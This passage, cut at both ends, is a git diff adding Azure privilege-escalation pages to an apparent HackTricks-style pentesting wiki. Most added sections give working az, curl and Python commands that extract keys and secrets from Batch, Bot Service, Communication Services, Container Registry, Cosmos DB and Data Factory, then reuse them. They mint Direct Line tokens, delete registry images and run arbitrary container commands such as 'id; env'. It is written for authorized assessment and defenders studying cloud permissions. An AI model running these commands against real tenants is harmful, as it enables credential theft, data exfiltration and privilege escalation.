previous export, restore workflow, activity/deployment log, support record, browser history, or automation output. Snapshot IDs are service-generated; do not claim success merely because the endpoint exists, and avoid printing complete snapshot bodies during broad enumeration. + ### Read Configured Third Party Credentials Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.[[13]](#references)[[14]](#references) @@ -312,5 +337,7 @@ az webapp config container set \ - [25] [Azure-Samples/msdocs-python-flask-webapp-quickstart - GitHub](https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart) - [26] [Remove deployment credentials from Azure webapp - Stack Overflow](https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp) - [27] [Configure an App Service app - Environment variables](https://learn.microsoft.com/en-us/azure/app-service/configure-common#configure-app-settings) +- [28] [Web Apps - List Configuration Snapshot Info](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-configuration-snapshot-info?view=rest-appservice-2026-03-15) +- [29] [Web Apps - Get Configuration Snapshot](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-configuration-snapshot?view=rest-appservice-2026-03-15) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md new file mode 100644 index 0000000000..bd89a286ec --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md @@ -0,0 +1,31 @@ +# Az - ARM Deployment Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.Resources/deploymentScripts/write` + +Azure Deployment Scripts execute attacker-supplied Azure CLI or PowerShell in a managed container. A newly created script normally requires a user-assigned managed identity and permission to assign it, so this permission alone is a conditional path. Updating an existing script can provide code execution as its already-configured identity. + +Inspect existing scripts and their identities before attempting an authorized validation: + +```bash +az deployment-scripts list --output table +az deployment-scripts show \ + --resource-group \ + --name +``` + +When the required identity permissions are also present, a minimal Azure CLI script can be created with: + +```bash +az deployment-scripts create \ + --resource-group \ + --name \ + --location \ + --identity \ + --script-content 'az account show --output none' +``` + +Delete the deployment script and its generated supporting resources after testing. See [Use deployment scripts in ARM templates](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/deployment-script-template). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 697f48a9c0..e4271e85b0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,6 +10,18 @@ For more information check: ../az-services/az-automation-accounts.md {{#endref}} +### `Microsoft.Automation/automationAccounts/listKeys/action` + +This operation returns the Automation account registration endpoint, primary key, and secondary key. Treat a successful response as credential disclosure and avoid printing or logging the values: + +```bash +az automation account list-keys \ + --resource-group \ + --name +``` + +Microsoft explicitly identifies the operation as sensitive and excludes it from Reader. See [Automation RBAC security](https://learn.microsoft.com/en-us/azure/automation/automation-role-based-access-control) and [Keys - List by Automation Account](https://learn.microsoft.com/en-us/rest/api/automation/keys/list-by-automation-account?view=rest-automation-2024-10-23). + ### Hybrid Workers Group - **From the Automation Account to the VM** @@ -185,9 +197,9 @@ curl -X POST "" \ ``` -### `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/content/write` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/content/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write` -With the permissions `Microsoft.Automation/automationAccounts/runbooks/draft/write` and `Microsoft.Automation/automationAccounts/runbooks/draft/content/write` it's possible to **update the code of a Runbook** without publishing it and run it using the following commands.[[1]](#references)[[7]](#references)[[29]](#references) +With the draft and content write permissions, plus `Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write`, it is possible to **update the code of a Runbook** without publishing it and run it using the following commands.[[1]](#references)[[7]](#references)[[29]](#references) ```bash # Update the runbook content with the provided PowerShell script diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md index 126d9cb013..6f15d7bc1b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md @@ -2,6 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} +## `Microsoft.Batch/batchAccounts/listkeys/action` + +This operation returns the Batch account's primary and secondary Shared Key credentials: + +```bash +az batch account keys list \ + --resource-group \ + --name +``` + +The keys authenticate to the Batch data plane only when `allowedAuthenticationModes` includes `SharedKey`; otherwise the action fails. Supply a returned key explicitly to avoid silently falling back to the current Entra identity: + +```bash +endpoint=$(az batch account show \ + --resource-group \ + --name \ + --query accountEndpoint --output tsv) + +az batch job list \ + --account-name \ + --account-endpoint "$endpoint" \ + --account-key '' + +# Account Shared Key authentication can also create jobs. Pointing a job at an +# existing pool allows subsequent task submission and code execution there. +az batch job create \ + --account-name \ + --account-endpoint "$endpoint" \ + --account-key '' \ + --id \ + --pool-id +``` + +The exact permission was validated by using its returned Shared Key to list the Batch data plane, create a job, and read that job back. No compute pool is needed to prove job-control access. On a target with an existing pool, job/task control can run commands in that pool's host, network, and managed-identity context. See [Batch Account - Get Keys](https://learn.microsoft.com/en-us/rest/api/batchmanagement/batch-account/get-keys?view=rest-batchmanagement-2025-06-01). + +## `Microsoft.Batch/batchAccounts/regeneratekeys/action` + +This operation rotates either Shared Key and returns the account's current primary and secondary keys. It is therefore a credential-acquisition primitive, not merely a denial-of-service operation: + +```bash +az batch account keys renew \ + --resource-group \ + --name \ + --key-name Primary +``` + +Use the returned replacement exactly like a key obtained through `listkeys/action` in the commands above. In live validation, the replacement primary key listed the data plane, created a job, and read it back; the old primary key was rejected, while the untouched secondary key remained valid. Rotation can break legitimate clients, so prefer the unused key when that can be determined. The operation applies only to accounts that allow Shared Key authentication. See [Batch Account - Regenerate Key](https://learn.microsoft.com/en-us/rest/api/batchmanagement/batch-account/regenerate-key?view=rest-batchmanagement-2025-06-01). + ## Azure Batch job and task data actions Azure Batch jobs group tasks that run on an existing pool. Both a job's common environment settings and an individual task's `environmentSettings` are applied to task processes. A principal authorized to submit jobs/tasks can therefore inject startup variables into a task that starts any matching runtime in the shared matrix.[[1]](#references)[[2]](#references) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md new file mode 100644 index 0000000000..a6c66d445f --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md @@ -0,0 +1,42 @@ +# Az - Bot Service Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.BotService/botServices/channels/listchannelwithkeys/action` + +This operation returns a bot channel configuration including secrets. Its impact depends on the channel. For a Direct Line channel, the returned secret is a non-expiring master credential that can authenticate Direct Line requests and mint per-conversation tokens.[[1]](#references)[[2]](#references) + +```bash +direct_line_secret="$(az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.BotService/botServices//channels/DirectLineChannel/listChannelWithKeys?api-version=2022-09-15" \ + --query 'properties.properties.sites[0].key' -o tsv)" +``` + +The exact response shape can differ by channel and configuration, so inspect field names without logging their values. In live validation, the Direct Line secret generated a token with HTTP 200 and that token started a conversation with HTTP 201: + +```bash +direct_line_token="$(curl --fail --silent --show-error \ + --request POST \ + --header "Authorization: Bearer ${direct_line_secret}" \ + --header 'Content-Type: application/json' \ + --data '{"user":{"id":"dl_random-untrusted-user"}}' \ + https://directline.botframework.com/v3/directline/tokens/generate \ + | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])')" + +curl --fail --silent --show-error \ + --request POST \ + --header "Authorization: Bearer ${direct_line_token}" \ + https://directline.botframework.com/v3/directline/conversations +``` + +This allows interaction as an external bot client and may reach sensitive answers or backend actions exposed by the bot. It does not automatically reveal every historical conversation, and enhanced Direct Line authentication, trusted-origin settings, bot logic, and downstream user authentication can reduce impact.[[2]](#references)[[3]](#references) + +If bot or channel enumeration is denied, the resource name is often present in deployment templates, application settings, bot endpoint hostnames, or source control. `DirectLineChannel` is the standard ARM channel resource name, so the exact action can be attempted without a preceding list call. Never print channel secrets in normal AzurePEASS output. + +## References + +- [1] [Azure Bot Service REST specification - List channel with keys](https://github.com/Azure/azure-rest-api-specs/blob/main/specification/botservice/resource-manager/Microsoft.BotService/BotService/stable/2022-09-15/botservice.json) +- [2] [Direct Line 3.0 authentication](https://learn.microsoft.com/en-us/azure/bot-service/rest-api/bot-framework-rest-direct-line-3-0-authentication?view=azure-bot-service-4.0) +- [3] [Direct Line 3.0 API reference](https://learn.microsoft.com/en-us/azure/bot-service/rest-api/bot-framework-rest-direct-line-3-0-api-reference?view=azure-bot-service-4.0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md new file mode 100644 index 0000000000..0529aa0a09 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md @@ -0,0 +1,50 @@ +# Az - Communication Services Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.Communication/CommunicationServices/ListKeys/action` + +This operation returns the primary and secondary access keys and connection strings for an Azure Communication Services resource. Access-key authentication is accepted by trusted-service APIs for identity and access-token issuance, Chat, Calling, SMS, Email, Call Automation, and other enabled capabilities. + +```bash +az communication list-key \ + --resource-group \ + --name +``` + +For example, a returned connection string can create an attacker-controlled identity together with a Chat and VoIP access token: + +```bash +pip install azure-communication-identity +export COMMUNICATION_SERVICES_CONNECTION_STRING='' + +python3 - <<'PY' +import os +from azure.communication.identity import CommunicationIdentityClient, CommunicationTokenScope + +client = CommunicationIdentityClient.from_connection_string( + os.environ["COMMUNICATION_SERVICES_CONNECTION_STRING"] +) +result = client.create_user_and_token([ + CommunicationTokenScope.CHAT, + CommunicationTokenScope.VOIP, +]) +print(result.user.properties["id"]) +print(result.token.expires_on) +PY +``` + +The same key can sign REST requests directly with HMAC-SHA256 when the SDK is unavailable. See [Communication Services access-key authentication](https://learn.microsoft.com/en-us/rest/api/communication/authentication) and [Communication Identity creation](https://learn.microsoft.com/en-us/rest/api/communication/identity/communication-identity/create?view=rest-communication-identity-2023-10-01). + +`Microsoft.Communication/CommunicationServices/RegenerateKey/action` rotates one key and returns its replacement: + +```bash +az communication regenerate-key \ + --resource-group \ + --name \ + --key-type secondary +``` + +AzurePEASS marks these permissions high. The key grants trusted-service capabilities and may enable impersonation, fraudulent communications, or cost abuse, but the concrete impact depends on configured phone numbers, domains, chat threads, and calling workflows. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md index bb0b00ffe3..c7249edace 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -126,11 +126,26 @@ az containerapp debug --name --resource-group This permission allows listing the secrets configured for a Container App. The Azure CLI can show cleartext values for inline secrets with `--show-values`; a Key Vault-backed secret is a reference that the app resolves through its managed identity, so reading the reference does not by itself grant access to the Key Vault value.[[7]](#references)[[9]](#references)[[10]](#references)[[11]](#references) +In live validation, `listSecrets` returned the exact inline ACR admin password stored in a scale-to-zero app; the recovered value then authenticated to the registry `/v2/` endpoint with HTTP 200. Treat each returned value according to the downstream system it protects rather than assuming every secret has equal scope. + ```bash az containerapp secret list --name --resource-group --show-values az containerapp secret show --name --resource-group --secret-name ``` +Legacy Container Apps resources exposed through the Microsoft.Web provider use the equivalent `Microsoft.Web/containerApps/listsecrets/action` operation. + +### `Microsoft.App/managedEnvironments/daprComponents/listSecrets/action` + +This action returns cleartext inline secrets stored in a Dapr component. It was validated by retrieving an exact seeded canary value from the component's `listSecrets` endpoint. Key Vault secret-store references still depend on the component identity's vault access; this action does not bypass Key Vault authorization.[[21]](#references) + +```bash +az rest --method post \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.App/managedEnvironments//daprComponents//listSecrets?api-version=2024-03-01" +``` + +If environment or component listing is denied, the exact resource ID can still be tried when its names are known from source code, deployment manifests, logs, or tickets. + ### `Microsoft.App/containerApps/write` Updating a Container App's environment variables creates a new revision. If the existing image command starts an affected interpreter, `containerApps/write` can target the shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell startup matrix. Most variants require an attacker-controlled module/script/agent/configuration tree already readable in the image or a mounted path. The same write permission can also change the image or startup command, which is normally a more direct execution path.[[17]](#references)[[19]](#references) @@ -209,6 +224,16 @@ az containerapp job update --name --resource-group --yaml az containerapp job start --name --resource-group --yaml job-template.yaml ``` +The direct REST form makes the execution-only behavior explicit and avoids a CLI preflight read. The following proof replaces the image and command for one execution without changing the stored job definition: + +```bash +az rest --method post \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.App/jobs//start?api-version=2024-03-01" \ + --body '{"containers":[{"name":"proof","image":"mcr.microsoft.com/k8se/quickstart-jobs:latest","command":["/bin/sh"],"args":["-c","id; env"]}]}' +``` + +An exact known Job resource ID is therefore enough to attempt the action when `jobs/read` is denied. The live validation proved arbitrary command execution, but did **not** prove that an execution override alone can reference and disclose the Job's stored secrets; use `jobs/listSecrets/action` for that distinct capability. + The execution-only template can change environment variables instead of the command. If the original command starts an affected runtime, the full shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell matrix applies. Most alternatives require an attacker-controlled module/script/agent/configuration tree already readable in the container. Command replacement remains simpler unless a policy or validation layer prevents it. {{#ref}} @@ -279,5 +304,7 @@ az containerapp job create \ - [18] [YAML reference: Azure Container Instances](https://learn.microsoft.com/en-us/azure/container-instances/container-instances-reference-yaml) - [19] [Manage environment variables on Azure Container Apps](https://learn.microsoft.com/en-us/azure/container-apps/environment-variables) - [20] [Set environment variables in Azure Container Instances](https://learn.microsoft.com/en-us/azure/container-instances/container-instances-environment-variables) +- [21] [Dapr Components - List Secrets](https://learn.microsoft.com/en-us/rest/api/resource-manager/containerapps/dapr-components/list-secrets?view=rest-resource-manager-containerapps-2026-01-01) +- [22] [Jobs - Start](https://learn.microsoft.com/en-us/rest/api/resource-manager/containerapps/jobs/start?view=rest-resource-manager-containerapps-2026-01-01) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md index 3058ad676e..8a4ccf55a1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -14,6 +14,8 @@ For more information check: This permission lists the ACR admin login credentials. When the admin user is enabled, the response contains the registry username and passwords; those credentials provide push and pull access to the registry.[[1]](#references)[[2]](#references)[[4]](#references) +In live validation against a Basic registry, the returned username and password authenticated to the registry `/v2/` endpoint with HTTP 200. If the admin user is disabled, `listCredentials` does not silently enable it and the attack needs the separate write capability described below. + ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2025-11-01" @@ -27,22 +29,84 @@ az rest --method PATCH \ --body '{"properties": {"adminUserEnabled": true}}' ``` -### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` +### `Microsoft.ContainerRegistry/registries/regenerateCredential/action` + +When the ACR admin user is enabled, this standalone action rotates either admin password and returns the registry username plus the current password set. The returned password has the same push/pull registry access as a password obtained through `listCredentials`; rotation can also break clients still using the old value.[[4]](#references)[[16]](#references) -These permissions allow the principal to create or update a token and generate token passwords. The token's scope map controls repository actions, and the `_repositories_admin` system scope map grants read, write, and delete access across repositories; the Azure CLI generates two passwords by default unless `--no-passwords` is used.[[1]](#references)[[5]](#references)[[6]](#references) +```bash +registry_id="/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/" -The CLI call may also require `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, and `Microsoft.ContainerRegistry/registries/tokens/read`.[[1]](#references) +# The response is a credential. Keep it out of ordinary assessment logs. +az rest --method POST \ + --url "https://management.azure.com${registry_id}/regenerateCredential?api-version=2025-11-01" \ + --body '{"name":"password"}' +``` + +To validate the returned username and password without Docker, exchange them for a registry bearer token and call the registry API. A successful catalog request proves that the renewed credential is usable even when the registry currently contains no repositories: ```bash -az acr token create \ - --registry \ - --name \ - --scope-map _repositories_admin +token=$(curl --fail --silent --show-error \ + --user ':' \ + 'https://.azurecr.io/oauth2/token?service=.azurecr.io&scope=registry:catalog:*' \ + | jq -r '.access_token // .token') + +curl --fail --silent --show-error \ + -H "Authorization: Bearer $token" \ + 'https://.azurecr.io/v2/_catalog' +``` + +### `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +This action alone can regenerate either password of an **existing** ACR token and returns the new password. It does not require `Microsoft.ContainerRegistry/registries/tokens/write`. The token's scope map determines the resulting repository permissions; a token mapped to `_repositories_admin` can read, write, and delete across repositories.[[1]](#references)[[5]](#references)[[17]](#references) + +If token listing is denied, try a token name or resource ID recovered from deployment files, CI configuration, activity logs, tickets, or naming conventions. The REST request can target the known token directly: + +```bash +registry_id="/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/" +token_id="${registry_id}/tokens/" + +# The response contains the new password. Do not print it into shared logs. +az rest --method POST \ + --url "https://management.azure.com${registry_id}/generateCredentials?api-version=2025-11-01" \ + --body "{\"tokenId\":\"${token_id}\",\"name\":\"password1\"}" ``` -### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` +Use the token name as the registry username. These examples prove read access and, if allowed by the scope map, delete access with only the generated credential: -These actions are used by ACR quick-task build and run flows for source upload, run scheduling, and run-log retrieval. ACR Tasks can build images and execute commands in container steps.[[1]](#references)[[7]](#references)[[8]](#references) +```bash +az acr repository show-tags \ + --name \ + --repository \ + --username \ + --password '' + +az acr repository delete \ + --name \ + --image : \ + --username \ + --password '' \ + --yes +``` + +This was live-validated against a Premium registry: the action rotated an existing token password, the password listed a protected tag, and the same credential deleted its canary manifest. AzurePEASS therefore treats the standalone action as Critical. Actual reach still follows the existing token's scope map; it cannot create a token or enlarge that map by itself. + +### `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +This standalone action returns a temporary bearer SAS for an ACR Task run's raw log. The live proof retrieved a 380-character signed URL and downloaded the seeded build-log canary. Real build logs frequently contain expanded commands, repository URLs, package endpoints, and credentials accidentally printed by build steps, so this is a sensitive-data path even without task creation or run scheduling.[[1]](#references)[[14]](#references) + +```bash +log_sas=$(az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//runs//listLogSasUrl?api-version=2019-04-01" \ + --query logLink --output tsv) + +curl --fail --location "$log_sas" +``` + +The SAS is scoped to that run log and expires, so it is High rather than direct registry takeover. A known registry and run ID from CI output, notifications, logs, or tickets is enough to try the action when run enumeration is denied. + +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action` + +These actions are used by ACR quick-task build and run flows for source upload and run scheduling. ACR Tasks can build images and execute commands in container steps.[[1]](#references)[[7]](#references)[[8]](#references) > [!WARNING] > A quick task runs on ACR-managed task infrastructure, and the command below does not attach a managed identity. It therefore is not the managed-identity escalation path described below; for that path, create a task with `--assign-identity` and ensure the identity has the required Azure permissions.[[7]](#references)[[8]](#references)[[9]](#references) @@ -143,6 +207,19 @@ az acr repository delete \ --image : ``` +### Microsoft.ContainerRegistry/registries/webhooks/getCallbackConfig/action + +ACR webhook GET responses redact the destination URI, but the dedicated callback-configuration action returns the complete service URI and custom headers. If that URI contains a Function key, Logic Apps SAS signature, or another bearer value, this operation discloses a reusable downstream credential. + +This was validated with a disabled Basic-tier ACR webhook. The action returned the exact signed Logic Apps callback stored as its service URI, and that URI invoked the protected canary successfully. The webhook remained disabled, so no registry event was delivered. + +If listing is denied, use a name recovered from IaC, deployment history, activity logs, troubleshooting output, or source control and call the exact action. This is High rather than universally Critical because impact depends on the configured endpoint and credential. + +~~~bash +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//webhooks//getCallbackConfig?api-version=2023-01-01-preview" +~~~ + ## References - [1] [Azure built-in roles for Containers](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/containers) @@ -158,5 +235,9 @@ az acr repository delete \ - [11] [Registries - Import Image - REST API (Azure Container Registry)](https://learn.microsoft.com/en-us/rest/api/container-registry/registries/import-image?view=rest-container-registry-2025-11-01) - [12] [Delete container images in Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-delete) - [13] [az acr](https://learn.microsoft.com/en-us/cli/azure/acr?view=azure-cli-latest) +- [14] [Runs - Get Log SAS URL](https://learn.microsoft.com/en-us/rest/api/container-registry-tasks/runs/get-log-sas-url?view=rest-container-registry-tasks-2019-04-01) +- [15] [Webhooks - Get Callback Config](https://learn.microsoft.com/en-us/rest/api/container-registry/webhooks/get-callback-config?view=rest-container-registry-2025-11-01) +- [16] [Registries - Regenerate Credential](https://learn.microsoft.com/en-us/rest/api/container-registry/registries/regenerate-credential?view=rest-container-registry-2025-11-01) +- [17] [Registries - Generate Credentials](https://learn.microsoft.com/en-us/rest/api/container-registry/registries/generate-credentials?view=rest-container-registry-2025-11-01) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 54870dbf4a..57e309d06e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -127,6 +127,62 @@ az cosmosdb keys list \ --type keys ``` +### `Microsoft.DocumentDB/databaseAccounts/listConnectionStrings/action` + +This standalone action returns the account's connection strings, including reusable account credentials. For SQL API accounts, a primary read-write connection string is effectively an account-level data-plane credential rather than harmless endpoint metadata.[[1]](#references)[[12]](#references) + +```bash +# The response contains credentials. Keep it out of shared logs. +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DocumentDB/databaseAccounts//listConnectionStrings?api-version=2024-05-15" +``` + +If account enumeration is denied, try an exact resource ID recovered from application configuration, deployment outputs, DNS names, IaC, or source control. To validate a recovered SQL API connection string in an authorized assessment, use a fresh SDK client; no Azure CLI session or Entra data-plane role is then involved: + +```python +import os +from azure.cosmos import CosmosClient + +client = CosmosClient.from_connection_string(os.environ["COSMOS_CONNECTION_STRING"]) +for database in client.list_databases(): + print(database["id"]) +``` + +Live validation used the returned primary connection string in a fresh client and read an exact canary item from a protected container. AzurePEASS marks this Critical because the operation discloses a reusable account credential with read-write data-plane authority. Network restrictions and disabled local authentication can still prevent use from the attacker's location. + +### `Microsoft.DocumentDB/databaseAccounts/readonlykeys/action` | `Microsoft.DocumentDB/databaseAccounts/readonlykeys/read` + +Either operation can disclose the account's primary and secondary read-only master keys. The `action` permission authorizes the `POST` form of the management endpoint, while the `read` permission authorizes its `GET` form. A returned key cannot write data, but it can read documents across the account, so it is a direct data-exfiltration credential rather than harmless control-plane metadata.[[1]](#references)[[6]](#references)[[7]](#references) + +Use the CLI for the action-backed request: + +```bash +az cosmosdb keys list \ + --name \ + --resource-group \ + --type read-only-keys +``` + +Or call the GET endpoint when the principal has the `/read` variant: + +```bash +az rest --method GET \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DocumentDB/databaseAccounts//readonlykeys?api-version=2024-05-15" +``` + +Do not print the response during normal enumeration. To verify impact in an authorized test, place one returned key and the account endpoint in environment variables and query the data plane with the Cosmos SDK: + +```python +import os +from azure.cosmos import CosmosClient + +client = CosmosClient(os.environ["COSMOS_ENDPOINT"], os.environ["COSMOS_READONLY_KEY"]) +for database in client.list_databases(): + print(database["id"]) +``` + +Knowing database and container names is not a prerequisite because a master key can enumerate them. Firewall, private-endpoint, or disabled-key-authentication settings can still block use of a disclosed key. + ### `Microsoft.DocumentDB/mongoClusters/read` , `Microsoft.DocumentDB/mongoClusters/write` These actions let a principal read or list MongoDB clusters and create or update their properties; deletion requires the separate `Microsoft.DocumentDB/mongoClusters/delete` action. The update command exposes administrator login and password fields, so write access can be used to attempt an administrator-credential change, subject to the target API version and cluster state.[[1]](#references)[[8]](#references)[[10]](#references) @@ -185,5 +241,6 @@ For a read-only user, replace the `roles` array with `[{ role: "readAnyDatabase" - [9] [az cosmosdb mongocluster firewall rule](https://learn.microsoft.com/en-us/cli/azure/cosmosdb/mongocluster/firewall/rule?view=azure-cli-latest) - [10] [Microsoft.DocumentDB mongoClusters 2024-03-01-preview](https://learn.microsoft.com/en-us/azure/templates/microsoft.documentdb/2024-03-01-preview/mongoclusters) - [11] [Read and read/write privileges with secondary native users on Azure DocumentDB](https://learn.microsoft.com/en-us/azure/documentdb/secondary-users) +- [12] [Database Accounts - List Connection Strings](https://learn.microsoft.com/en-us/rest/api/cosmos-db-resource-provider/database-accounts/list-connection-strings?view=rest-cosmos-db-resource-provider-2026-03-15) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md new file mode 100644 index 0000000000..ba8b45d122 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md @@ -0,0 +1,45 @@ +# Az - Data Factory Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.DataFactory/factories/integrationruntimes/listauthkeys/action` + +This operation returns both authentication keys of a self-hosted integration runtime. Those keys can register an attacker-controlled runtime node, placing it in the execution and network context used by Data Factory activities. + +```bash +az datafactory integration-runtime list-auth-key \ + --resource-group \ + --factory-name \ + --integration-runtime-name +``` + +Do not print the response during routine enumeration. Rotate a disclosed key after an authorized test. See [Integration Runtimes - List Auth Keys](https://learn.microsoft.com/en-us/rest/api/datafactory/integration-runtimes/list-auth-keys?view=rest-datafactory-2018-06-01) and [Create and configure a self-hosted integration runtime](https://learn.microsoft.com/en-us/azure/data-factory/create-self-hosted-integration-runtime). + +`Microsoft.DataFactory/datafactories/gateways/listauthkeys/action` is the legacy Data Factory V1 gateway equivalent. + +## `Microsoft.DataFactory/factories/pipelines/createRun/action` + +This operation starts an existing pipeline without granting permission to edit it. Its impact depends on the selected pipeline: a run can execute stored copy, notebook, command, or web activities and use the pipeline's linked services, integration runtime, and configured managed identity. Triggering a suitable existing pipeline can therefore cause privileged side effects or move sensitive data even when the caller cannot read the underlying credentials. + +Enumerate readable pipelines first. If ordinary listing is denied, names may still be recoverable from deployment files, logs, source repositories, monitoring alerts, or application configuration; knowing a pipeline name is enough to try the run endpoint. + +```bash +# Optional enumeration when factories/pipelines/read is available +az datafactory pipeline list \ + --resource-group \ + --factory-name \ + --query '[].name' -o tsv + +# The createRun permission is the only Data Factory permission required by +# this request when the factory and pipeline names are already known. +run_id="$(az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DataFactory/factories//pipelines//createRun?api-version=2018-06-01" \ + --body '{}' \ + --query runId -o tsv)" +``` + +A returned run ID proves that Azure accepted the launch. Reading its status requires an additional pipeline-run read permission, so failure to monitor the run does not mean `createRun` failed. Prefer a harmless canary pipeline during validation and inspect its expected side effect through an independently authorized account. + +See [Pipelines - Create Run](https://learn.microsoft.com/en-us/rest/api/datafactory/pipelines/create-run?view=rest-datafactory-2018-06-01) and the [Data Factory REST quickstart](https://learn.microsoft.com/en-us/azure/data-factory/quickstart-create-data-factory-rest-api). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index a30c974774..eab98474bd 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -5,6 +5,97 @@ > [!NOTE] > Not all granular permissions held by Microsoft Entra built-in roles are eligible for custom roles.[[4]](#references) +## Microsoft Graph application permissions + +### `Application.ReadWrite.All` + +This application permission can add a password or certificate to an application the caller does not own. Authenticate with the target application's `appId` and the returned `secretText` to operate as that application and inherit its granted permissions. + +```bash +az rest --method POST 